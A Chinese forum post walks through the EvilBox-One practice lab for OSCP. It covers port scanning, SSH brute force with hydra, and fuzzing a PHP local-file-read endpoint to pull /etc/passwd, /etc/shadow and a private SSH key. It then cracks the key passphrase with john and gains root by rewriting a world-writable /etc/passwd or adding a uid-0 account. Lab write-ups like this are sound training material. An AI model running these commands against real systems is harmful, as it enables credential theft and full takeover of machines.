OSCP系列靶场-Esay-EvilBox-One

杳若   ·   发表于 2023-07-26 17:38:38   ·   CTF&WP专版

OSCP系列靶场-Esay-EvilBox-One

总结

getwebshell → 通过超级强的目录爆破字典(添加后缀)得到端点 → 测试发现文件读取 → 读取用户名以及ssh密钥 → john破译密钥的密码 → ssh登录

提 权 思 路 → 发现suidpasswd → 覆盖root密码/添加root权限的账号密码

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.211

  • 启动靶机
    获取目标机器IP → 192.168.245.212

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
    sudo nmap --min-rate 10000 -p- 192.168.245.212
    

通过两次收集到的端口:→22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.245.212

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
OpenSSH 7.9p1 Debian 10+deb10u2

# 进入msf
msfconsole
# 搜索对应脚本
msf6 > searchsploit openssh 7.9

7.9p1的枚举脚本较多,实在没思路的再来尝试

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

ssh root @ 192.168.245.212 -v
# 如果显示publickey、password就是都支持

说明存在root,并且可以密码爆破和私钥登录

22-SSH弱口令爆破(等待)

尝试root账户的密码爆破,利用工具hydra,线程-t为6

hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.245.212 ssh -s 22

22-SSH手动登录尝试(无)

尝试root账户的密码爆破发现报错之后进行手动尝试

ssh root @ 192.168.245.212 -p 22
# 密码尝试
password > root

80-HTTP端口的信息收集

访问 http://192.168.245.212:80从源码泄露开始

信息收集-源码查看

# 包括文章中是否写明一些敏感信息
curl http://192.168.245.212:80

无可用信息

信息收集-目录扫描

信息收集-目录扫描初步
dirsearch -u http://192.168.245.212:80 -x 302,403

发现secret目录,301说明目录内还有内容,从目录名上看有戏,接着往下扫描并进行递归

dirsearch -u http://192.168.245.212:80/secret -x 302,403 -r 2

扫出了index.html


因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)

信息收集-端点探测

/robots.txt端点" class="reference-link">/robots.txt端点

发现文本Hello H4x0r,推测用户名为H4x0r

Hello H4x0r

/secret/index.html端点" class="reference-link">/secret/index.html端点

一片空白,源码中似乎也没有任何内容

思考

从现有情况来看,我可以用九头蛇尝试爆破H4x0r
同时利用更大的字典扫目录,先从/secret端点开始,同时进行

hydra -l H4x0r -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.245.212 ssh -s 22

# -t 指定线程 -x 添加后缀扩展名 -k 禁用ssl
# 考虑到信息收集网站的后缀是php 添加一些后缀内容
gobuster dir -u http://192.168.243.212/secret -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 100  -x .php,.zip,.html -k

在经历了一大堆的错误之后得到了唯一一个200的端点/evil.php /(ㄒoㄒ)/

信息收集-端点访问

/secret/evil.php端点" class="reference-link">/secret/evil.php端点

访问发现依旧什么都没有,从文件名来看可能是php代码


尝试访问/secret/evil.php~没看到源码

漏洞利用-getwebshell

ffuf得到参数

http://192.168.245.212:80/secret/evil.php在不清楚用途的情况下可以尝试fuzz一下参数
在使用字典上选择了目录爆破的字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# -u 指定URL FUZZ 暴力破解的地方 -w 指定字典 -fs 0 不限制文件大小
ffuf -u 'http://192.168.243.212:80/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0 > output.txt

通过fuzz发现了一个有效参数command

漏洞利用-文件读取

通过测试发现evil是一个文件读取的功能
/etc/passwd下发现了用户mowree (所以那个robots提示的用户名是啥意思?)


通常我们利用文件读取和getwebshell关联的莫过于读取用户密码或者密钥,来登录SSH

读取加密密码(失败)

因为是用户权限读不到
http://192.168.245.212:80/secret/evil.php?command=/etc/shadow

读取SSH密钥

因为是文件读取不是路径遍历,我们要清楚用户底下有没有什么机密的文件,利用工具FUZZ一下

ffuf -u 'http://192.168.245.212:80/secret/evil.php?command=/home/mowree/FUZZ' -w /usr/share/wordlists/rockyou.txt -fs 0

不过通常用户底下的机密文件是隐藏文件的比较多
我在这里用手动检查了以下几个

/home/mowree/.bash_history    #  历史操作
/home/mowree/.mysql_history
/home/mowree/.ssh/id_rsa      #  私钥
/home/mowree/.ssh/id_rsa.pub
/home/mowree/.ssh/authorized_keys


检查发现存在私钥文件,那么我们可以直接利用私钥免密登录

# 保存下来
curl http://192.168.243.212:80/secret/evil.php?command=/home/mowree/.ssh/id_rsa > id_rsa
# 免密登录
sudo ssh -i id_rsa mowree @ 192.168.243.212 -p22

登录发现需要密钥的密码

暴力破解ssh密钥密码

破解密钥密码我们用john

# 利用john的脚本ssh2john.py将私钥id_rsa换成能爆破的hash
/usr/share/john/ssh2john.py id_rsa > ssh.hash
# 利用john离线破译ssh-hash的密码
john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash

发现了密码unicorn

22-SSH密钥登录

获取密钥之后指定密钥进行登录

sudo ssh -i id_rsa mowree @ 192.168.243.212 -p22
password → unicorn

死活都登录不上,研究了一下说明是我的id_rsa的权限开的太大了


首先把权限减小 chmod 600 id_rsa,登录成功

内网遨游-getshell

FLAG1获取

mowree @ EvilBoxOne:~$ find / -name local.txt 2>/dev/null
/home/mowree/local.txt
mowree @ EvilBoxOne:~$ cat /home/mowree/local.txt
**********************

提权基础(内网信息收集)

提权的本质在于枚举

检测Linux操作系统的发行版本

# 确定发行版本
cat /etc/*-release


发行版本是Debian

检测Linux操作系统的内核版本

mowree @ EvilBoxOne:~$ uname -a
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux

内核版本4.19.0

sudo收集

查找具有sudo权限,且不需要密码的可提权文件

# 利用sudo -l寻找
sudo -l

suid权限收集

搜索suid文件权限

# -perm 文件权限
mowree @ EvilBoxOne:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/fusermount

看到了/usr/bin/passwd尝试一下/etc/passwd权限收集

ls -al /etc/passwd

发现文件具有写入权限,在此基础上提权的方式有两种

权限提升

/etc/passwd提权

提权方式一-覆盖root密码

覆盖掉root的密码

# Kali机器使用openssl生成密码 
sudo openssl passwd

生成了123456的加密密码$1$Dvnrw7X5$KholV2Kn58LkDnvJ5aFVF.

目标机器上覆盖

# 将root中x替换掉 root:x:0:0:root:/root:/bin/bash
vim /etc/passwd
-----vim------
root:$1$Dvnrw7X5$KholV2Kn58LkDnvJ5aFVF.:0:0:root:/root:/bin/bash
--------------
# su默认root账户提权,输入密码
su

x替换成密码

提权方式二-写入root权限的账号以及密码

目标机器上写入新的root账号YaoRuo

# 利用echo写入/etc/passwd底下,新的密码
echo 'YaoRuo:$1$Dvnrw7X5$KholV2Kn58LkDnvJ5aFVF.:0:0::/root:/bin/bash' →→ /etc/passwd
# su提权YaoRuo账户,输入密码
su YaoRuo

这样添加了一个YaoRuoroot账户,进入就是root权限


提权成功

FLAG2获取

root @ EvilBoxOne:/home/mowree# cat /root/proof.txt
*********************

完结撒花~

用户名金币积分时间理由
Track-魔方 600.00 0 2023-08-02 10:10:40 深度 200 普适 200 可读 200

打赏我,让我更有动力~

0 条回复   |  直到 2023-7-29 | 547 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.